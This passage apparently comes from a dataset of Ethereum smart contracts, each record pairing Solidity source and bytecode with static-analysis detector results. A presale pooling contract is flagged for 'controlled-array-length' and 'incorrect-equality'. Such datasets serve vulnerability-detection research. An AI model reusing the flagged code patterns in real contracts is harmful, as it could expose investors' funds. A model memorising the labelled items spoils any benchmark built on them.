190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b675780601f10611b3c57610100808354040283529160200191611b67565b820191906000526020600020905b815481529060010190602001808311611b4a57829003601f168201915b5050505050905090565b60025481565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c0f5780601f10611be457610100808354040283529160200191611c0f565b820191906000526020600020905b815481529060010190602001808311611bf257829003601f168201915b5050505050905090565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611caf5780601f10611c8457610100808354040283529160200191611caf565b820191906000526020600020905b815481529060010190602001808311611c9257829003601f168201915b505050505081565b6060600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611d4f5780601f10611d2457610100808354040283529160200191611d4f565b820191906000526020600020905b815481529060010190602001808311611d3257829003601f168201915b5050505050905090565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611e25575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015611e315750600082115b15611fc657816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050611fcb565b600090505b9392505050565b6060600a8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561206a5780601f1061203f5761010080835404028352916020019161206a565b820191906000526020600020905b81548152906001019060200180831161204d57829003601f168201915b5050505050905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561210c5780601f106120e15761010080835404028352916020019161210c565b820191906000526020600020905b8154815290600101906020018083116120ef57829003601f168201915b5050505050905090565b6000600a0a60640281565b600081565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121be5780601f10612193576101008083540402835291602001916121be565b820191906000526020600020905b8154815290600101906020018083116121a157829003601f168201915b5050505050905090565b60098054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561225e5780601f106122335761010080835404028352916020019161225e565b820191906000526020600020905b81548152906001019060200180831161224157829003601f168201915b505050505081565b600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122fc5780601f106122d1576101008083540402835291602001916122fc565b820191906000526020600020905b8154815290600101906020018083116122df57829003601f168201915b505050505081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561236257600080fd5b600360149054906101000a900460ff1615151561237e57600080fd5b61239382600254613c8290919063ffffffff16565b6002819055506123ea826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c8290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080821115156124fa57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561254757600080fd5b33905061259b826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ca090919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125f282600254613ca090919063ffffffff16565b6002819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60606040805190810160405280600581526020017f4a61636b79000000000000000000000000000000000000000000000000000000815250905090565b606060068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561271f5780601f106126f45761010080835404028352916020019161271f565b820191906000526020600020905b81548152906001019060200180831161270257829003601f168201915b5050505050905090565b600f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156127bf5780601f10612794576101008083540402835291602001916127bf565b820191906000526020600020905b8154815290600101906020018083116127a257829003601f168201915b505050505081565b60068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561285d5780601f106128325761010080835404028352916020019161285d565b820191906000526020600020905b81548152906001019060200180831161284057829003601f168201915b505050505081565b606060118054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128fd5780601f106128d2576101008083540402835291602001916128fd565b820191906000526020600020905b8154815290600101906020018083116128e057829003601f168201915b5050505050905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156129e75780601f106129bc576101008083540402835291602001916129e7565b820191906000526020600020905b8154815290600101906020018083116129ca57829003601f168201915b5050505050905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a4f57600080fd5b600360149054906101000a900460ff16151515612a6b57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600086600c9080519060200190612ad1929190613cb9565b5085600d9080519060200190612ae8929190613cb9565b5084600e9080519060200190612aff929190613cb9565b5083600f9080519060200190612b16929190613cb9565b508260109080519060200190612b2d929190613cb9565b508160119080519060200190612b44929190613cb9565b507f76b794936344483a0e529b4c747bdaccfc63ce7d42758c188d25a4924cefd339600c600d600e600f601060116040518080602001806020018060200180602001806020018060200187810387528d818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612c0f5780601f10612be457610100808354040283529160200191612c0f565b820191906000526020600020905b815481529060010190602001808311612bf257829003601f168201915b505087810386528c818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612c925780601f10612c6757610100808354040283529160200191612c92565b820191906000526020600020905b815481529060010190602001808311612c7557829003601f168201915b505087810385528b818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612d155780601f10612cea57610100808354040283529160200191612d15565b820191906000526020600020905b815481529060010190602001808311612cf857829003601f168201915b505087810384528a818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612d985780601f10612d6d57610100808354040283529160200191612d98565b820191906000526020600020905b815481529060010190602001808311612d7b57829003601f168201915b5050878103835289818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612e1b5780601f10612df057610100808354040283529160200191612e1b565b820191906000526020600020905b815481529060010190602001808311612dfe57829003601f168201915b5050878103825288818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612e9e5780601f10612e7357610100808354040283529160200191612e9e565b820191906000526020600020905b815481529060010190602001808311612e8157829003601f168201915b50509c5050505050505050505050505060405180910390a1600190509695505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612f805780601f10612f5557610100808354040283529160200191612f80565b820191906000526020600020905b815481529060010190602001808311612f6357829003601f168201915b505050505081565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561301e5780601f10612ff35761010080835404028352916020019161301e565b820191906000526020600020905b81548152906001019060200180831161300157829003601f168201915b505050505081565b6060600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156130be5780601f10613093576101008083540402835291602001916130be565b820191906000526020600020905b8154815290600101906020018083116130a157829003601f168201915b5050505050905090565b6060600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156131605780601f1061313557610100808354040283529160200191613160565b820191906000526020600020905b81548152906001019060200180831161314357829003601f168201915b5050505050905090565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156131ba5750600082115b156132c557816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506132ca565b600090505b92915050565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156133665780601f1061333b57610100808354040283529160200191613366565b820191906000526020600020905b81548152906001019060200180831161334957829003601f168201915b505050505081565b606060108054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156134065780601f106133db57610100808354040283529160200191613406565b820191906000526020600020905b8154815290600101906020018083116133e957829003601f168201915b5050505050905090565b600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156134a65780601f1061347b576101008083540402835291602001916134a6565b820191906000526020600020905b81548152906001019060200180831161348957829003601f168201915b505050505081565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156136ef5780820151818401526020810190506136d4565b50505050905090810190601f16801561371c5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af19250505015151561374157600080fd5b600190509392505050565b6060600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156137e45780601f106137b9576101008083540402835291602001916137e4565b820191906000526020600020905b8154815290600101906020018083116137c757829003601f168201915b5050505050905090565b600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156138845780601f1061385957610100808354040283529160200191613884565b820191906000526020600020905b81548152906001019060200180831161386757829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156139a95780601f1061397e576101008083540402835291602001916139a9565b820191906000526020600020905b81548152906001019060200180831161398c57829003601f168201915b505050505081565b60606040805190810160405280600581526020017f4a61636b79000000000000000000000000000000000000000000000000000000815250905090565b60108054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613a845780601f10613a5957610100808354040283529160200191613a84565b820191906000526020600020905b815481529060010190602001808311613a6757829003601f168201915b505050505081565b60118054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613b225780601f10613af757610100808354040283529160200191613b22565b820191906000526020600020905b815481529060010190602001808311613b0557829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613b8657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613bc257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284019050838110151515613c9657fe5b8091505092915050565b6000828211151515613cae57fe5b818303905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613cfa57805160ff1916838001178555613d28565b82800160010185558215613d28579182015b82811115613d27578251825591602001919060010190613d0c565b5b509050613d359190613d39565b5090565b613d5b91905b80821115613d57576000816000905550600101613d3f565b5090565b905600a165627a7a723058204b815054d6db052774975031bac799a382a4de9ceecc0b1fbaeaae809f26d34f0029
{"success": true, "error": null, "results": {}}
278
0x0f17caa887cd584ebe662f15f48545085142304e
pragma solidity 0.4.21; // Wolf Crypto presale pooling contract // written by @iamdefinitelyahuman library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface ERC20 { function balanceOf(address _owner) external returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); } interface WhiteList { function checkMemberLevel (address addr) external view returns (uint); } library PresaleLib { using SafeMath for uint; WhiteList constant whitelistContract = WhiteList(0x8D95B038cA80A986425FA240C3C17Fb2B6e9bc63); uint constant contributionMin = 100000000000000000; uint constant maxGasPrice = 50000000000; struct Contributor { uint16 claimedTokensIndex; uint balance; } struct Data { address owner; address receiver; address[] withdrawToken; bool poolSubmitted; bool locked; uint addressSetTime; uint fee; uint contractCap; uint finalBalance; uint[] withdrawAmount; uint[] capAmounts; uint32[] capTimes; mapping (address => uint) tokenBalances; mapping (address => uint) individualCaps; mapping (address => Contributor) contributorMap; } event ContributorBalanceChanged (address contributor, uint totalBalance); event ReceiverAddressSet ( address addr); event PoolSubmitted (address receiver, uint amount); event WithdrawalAvailable (address token); event WithdrawalClaimed (address receiver, address token, uint amount); modifier onlyOwner (Data storage self) { require (msg.sender == self.owner); _; } modifier noReentrancy(Data storage self) { require(!self.locked); self.locked = true; _; self.locked = false; } function _toPct (uint numerator, uint denominator ) internal pure returns (uint) { return numerator.mul(10 ** 20).div(denominator); } function _applyPct (uint numerator, uint pct) internal pure returns (uint) { return numerator.mul(pct).div(10 ** 20); } function newPool (Data storage self, uint _fee, address _receiver, uint _contractCap, uint _individualCap) public { require (_fee < 1000); self.owner = msg.sender; self.receiver = _receiver; self.contractCap = _contractCap; self.capTimes.push(0); self.capAmounts.push(_individualCap); self.fee = _toPct(_fee,1000); } function deposit (Data storage self) public { assert (!self.poolSubmitted); require (tx.gasprice <= maxGasPrice); Contributor storage c = self.contributorMap[msg.sender]; uint cap = _getCap(self, msg.sender); require (cap >= c.balance.add(msg.value)); if (self.contractCap < address(this).balance) { require (address(this).balance.sub(msg.value) < self.contractCap); uint excess = address(this).balance.sub(self.contractCap); c.balance = c.balance.add(msg.value.sub(excess)); msg.sender.transfer(excess); } else { c.balance = c.balance.add(msg.value); } require (c.balance >= contributionMin); emit ContributorBalanceChanged(msg.sender, c.balance); } function receiveRefund (Data storage self) public { assert (self.poolSubmitted); require (msg.sender == self.receiver || msg.sender == self.owner); require (msg.value >= 1 ether); self.withdrawToken.push(0x00); self.withdrawAmount.push(msg.value); emit WithdrawalAvailable(0x00); } function withdraw (Data storage self) public { assert (msg.value == 0); Contributor storage c = self.contributorMap[msg.sender]; require (c.balance > 0); if (!self.poolSubmitted) { uint balance = c.balance; c.balance = 0; msg.sender.transfer(balance); emit ContributorBalanceChanged(msg.sender, 0); return; } require (c.claimedTokensIndex < self.withdrawToken.length); uint pct = _toPct(c.balance,self.finalBalance); uint amount; address token; for (uint16 i = c.claimedTokensIndex; i < self.withdrawToken.length; i++) { amount = _applyPct(self.withdrawAmount[i],pct); token = self.withdrawToken[i]; c.claimedTokensIndex++; if (amount > 0) { if (token == 0x00) { msg.sender.transfer(amount); } else { require (ERC20(token).transfer(msg.sender, amount)); self.tokenBalances[token] = self.tokenBalances[token].sub(amount); } emit WithdrawalClaimed(msg.sender, token, amount); } } } function setIndividualCaps (Data storage self, address[] addr, uint[] cap) public onlyOwner(self) { require (addr.length == cap.length); for (uint8 i = 0; i < addr.length; i++) { self.individualCaps[addr[i]] = cap[i]; } } function setCaps (Data storage self, uint32[] times, uint[] caps) public onlyOwner(self) { require (caps.length > 0); require (caps.length == times.length); self.capTimes = [0]; self.capAmounts = [self.capAmounts[0]]; for (uint8 i = 0; i < caps.length; i++) { require (times[i] > self.capTimes[self.capTimes.length.sub(1)]); self.capTimes.push(times[i]); self.capAmounts.push(caps[i]); } } function setContractCap (Data storage self, uint amount) public onlyOwner(self) { require (amount >= address(this).balance); self.contractCap = amount; } function _getCap (Data storage self, address addr) internal view returns (uint) { if (self.individualCaps[addr] > 0) return self.individualCaps[addr]; if (whitelistContract.checkMemberLevel(msg.sender) == 0) return 0; return getCapAtTime(self,now); } function getCapAtTime (Data storage self, uint time) public view returns (uint) { if (time == 0) time = now; for (uint i = 1; i < self.capTimes.length; i++) { if (self.capTimes[i] > time) return self.capAmounts[i-1]; } return self.capAmounts[self.capAmounts.length-1]; } function getPoolInfo (Data storage self) view public returns (uint balance, uint remaining, uint cap) { if (!self.poolSubmitted) return (address(this).balance, self.contractCap.sub(address(this).balance), self.contractCap); return (address(this).balance, 0, self.contractCap); } function getContributorInfo (Data storage self, address addr) view public returns (uint balance, uint remaining, uint cap) { cap = _getCap(self, addr); Contributor storage c = self.contributorMap[addr]; if (self.poolSubmitted || cap <= c.balance) return (c.balance, 0, cap); if (cap.sub(c.balance) > self.contractCap.sub(address(this).balance)) return (c.balance, self.contractCap.sub(address(this).balance), cap); return (c.balance, cap.sub(c.balance), cap); } function checkWithdrawalAvailable (Data storage self, address addr) view public returns (bool) { return self.contributorMap[addr].claimedTokensIndex < self.withdrawToken.length; } function setReceiverAddress (Data storage self, address _receiver) public onlyOwner(self) { require (!self.poolSubmitted); self.receiver = _receiver; self.addressSetTime = now; emit ReceiverAddressSet(_receiver); } function submitPool (Data storage self, uint amountInWei) public onlyOwner(self) noReentrancy(self) { require (!self.poolSubmitted); require (now > self.addressSetTime.add(86400)); if (amountInWei == 0) amountInWei = address(this).balance; self.finalBalance = address(this).balance; self.poolSubmitted = true; require (self.receiver.call.value(amountInWei).gas(gasleft().sub(5000))()); if (address(this).balance > 0) { self.withdrawToken.push(0x00); self.withdrawAmount.push(address(this).balance); emit WithdrawalAvailable(0x00); } emit PoolSubmitted(self.receiver, amountInWei); } function enableWithdrawals (Data storage self, address tokenAddress, address feeAddress) public onlyOwner(self) noReentrancy(self) { require (self.poolSubmitted); if (feeAddress == 0x00) feeAddress = self.owner; ERC20 token = ERC20(tokenAddress); uint amount = token.balanceOf(this).sub(self.tokenBalances[tokenAddress]); require (amount > 0); if (self.fee > 0) { require (token.transfer(feeAddress, _applyPct(amount,self.fee))); amount = token.balanceOf(this).sub(self.tokenBalances[tokenAddress]); } self.tokenBalances[tokenAddress] = token.balanceOf(this); self.withdrawToken.push(tokenAddress); self.withdrawAmount.push(amount); emit WithdrawalAvailable(tokenAddress); } } contract PresalePool { using PresaleLib for PresaleLib.Data; PresaleLib.Data data; event ERC223Received (address token, uint value, bytes data); function PresalePool (uint fee, address receiver, uint contractCap, uint individualCap) public { data.newPool(fee, receiver, contractCap, individualCap); } function () public payable { if (msg.value > 0) { if (!data.poolSubmitted) { data.deposit(); } else { data.receiveRefund(); } } else { data.withdraw(); } } function setIndividualCaps (address[] addr, uint[] cap) public { data.setIndividualCaps(addr, cap); } function setCaps (uint32[] times, uint[] caps) public { data.setCaps(times,caps); } function setContractCap (uint amount) public { data.setContractCap(amount); } function getPoolInfo () view public returns (uint balance, uint remaining, uint cap) { return data.getPoolInfo(); } function getContributorInfo (address addr) view public returns (uint balance, uint remaining, uint cap) { return data.getContributorInfo(addr); } function getCapAtTime (uint32 time) view public returns (uint) { return data.getCapAtTime(time); } function checkWithdrawalAvailable (address addr) view public returns (bool) { return data.checkWithdrawalAvailable(addr); } function getReceiverAddress () view public returns (address) { return data.receiver; } function setReceiverAddress (address receiver) public { data.setReceiverAddress(receiver); } function submitPool (uint amountInWei) public { data.submitPool(amountInWei); } function enableWithdrawals (address tokenAddress, address feeAddress) public { data.enableWithdrawals(tokenAddress, feeAddress); } function tokenFallback (address from, uint value, bytes calldata) public { emit ERC223Received(from, value, calldata); } }
0x6060604052600436106100a05763ffffffff60e060020a6000350416630bce8cdf81146101e35780631978658b1461022657806333e7ed61146102b557806348a935e2146102cb578063531ebce51461035a5780635e01d3951461038957806360246c88146103b75780638279c7db146103ca5780639b46a71c146103e9578063ab5690c4146103ff578063ba76bfb714610424578063c0ee0b8a14610457575b60003411156101805760035460ff16151561011a5773c49501f07c9a587adac93e09ecae5f701098ec2a6329715fcc600060405160e060020a63ffffffff8416028152600481019190915260240160006040518083038186803b151561010557600080fd5b5af4151561011257600080fd5b50505061017b565b73c49501f07c9a587adac93e09ecae5f701098ec2a639e66e476600060405160e060020a63ffffffff8416028152600481019190915260240160006040518083038186803b151561016a57600080fd5b5af4151561017757600080fd5b5050505b6101e1565b73c49501f07c9a587adac93e09ecae5f701098ec2a635058bf61600060405160e060020a63ffffffff8416028152600481019190915260240160006040518083038186803b15156101d057600080fd5b5af415156101dd57600080fd5b5050505b005b34156101ee57600080fd5b610202600160a060020a03600435166104bc565b60405180848152602001838152602001828152602001935050505060405180910390f35b341561023157600080fd5b6101e160046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061054d95505050505050565b34156102c057600080fd5b6101e160043561063f565b34156102d657600080fd5b6101e16004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506106a895505050505050565b341561036557600080fd5b61036d610721565b604051600160a060020a03909116815260200160405180910390f35b341561039457600080fd5b6103a563ffffffff60043516610730565b60405190815260200160405180910390f35b34156103c257600080fd5b6102026107ad565b34156103d557600080fd5b6101e1600160a060020a036004351661082e565b34156103f457600080fd5b6101e160043561088d565b341561040a57600080fd5b6101e1600160a060020a03600435811690602435166108e3565b341561042f57600080fd5b610443600160a060020a036004351661094b565b604051901515815260200160405180910390f35b341561046257600080fd5b6101e160048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506109ab95505050505050565b6000808073c49501f07c9a587adac93e09ecae5f701098ec2a6347b6d64a828660405160e060020a63ffffffff85160281526004810192909252600160a060020a0316602482015260440160606040518083038186803b151561051e57600080fd5b5af4151561052b57600080fd5b5050506040518051906020018051906020018051929791965091945092505050565b73c49501f07c9a587adac93e09ecae5f701098ec2a63eaae5bd4600084846040518463ffffffff1660e060020a028152600401808481526020018060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156105c75780820151838201526020016105af565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156106065780820151838201526020016105ee565b505050509050019550505050505060006040518083038186803b151561062b57600080fd5b5af4151561063857600080fd5b5050505050565b73c49501f07c9a587adac93e09ecae5f701098ec2a63d3f0ad1d60008360405160e060020a63ffffffff85160281526004810192909252602482015260440160006040518083038186803b151561069557600080fd5b5af415156106a257600080fd5b50505050565b73c49501f07c9a587adac93e09ecae5f701098ec2a63c524ed97600084846040518463ffffffff1660e060020a02815260040180848152602001806020018060200183810383528581815181526020019150805190602001906020028083836000838110156105c75780820151838201526020016105af565b600154600160a060020a031690565b600073c49501f07c9a587adac93e09ecae5f701098ec2a633b24217182846040518363ffffffff1660e060020a028152600401808381526020018263ffffffff1681526020019250505060206040518083038186803b151561079157600080fd5b5af4151561079e57600080fd5b50505060405180519392505050565b6000808073c49501f07c9a587adac93e09ecae5f701098ec2a637db41bf48260405160e060020a63ffffffff8416028152600481019190915260240160606040518083038186803b151561080057600080fd5b5af4151561080d57600080fd5b50505060405180519060200180519060200180519050925092509250909192565b73c49501f07c9a587adac93e09ecae5f701098ec2a6392aad34860008360405160e060020a63ffffffff85160281526004810192909252600160a060020a0316602482015260440160006040518083038186803b151561069557600080fd5b73c49501f07c9a587adac93e09ecae5f701098ec2a6372b3d79360008360405160e060020a63ffffffff85160281526004810192909252602482015260440160006040518083038186803b151561069557600080fd5b73c49501f07c9a587adac93e09ecae5f701098ec2a63fc1369856000848460405160e060020a63ffffffff86160281526004810193909352600160a060020a03918216602484015216604482015260640160006040518083038186803b151561062b57600080fd5b600073c49501f07c9a587adac93e09ecae5f701098ec2a63023ef646828460405160e060020a63ffffffff85160281526004810192909252600160a060020a0316602482015260440160206040518083038186803b151561079157600080fd5b7f3fdcfa41f298f228505f23c4544326dcf604e218f6c0062c80b704a2a6ce3852838383604051600160a060020a03841681526020810183905260606040820181815290820183818151815260200191508051906020019080838360005b83811015610a21578082015183820152602001610a09565b50505050905090810190601f168015610a4e5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a15050505600a165627a7a72305820b0ccd5bdc128eb5ea7fc39a75e0870c0c56d209b7cfc459d57142d1df5be71b20029
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
279
0x310bac1bd0cd831b5fe93e3434b2a0a4ea66a04a
/** *Submitted for verification at Etherscan.io on 2022-03-10 */ // SPDX-License-Identifier: Unlicensed // test token dont buy pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } 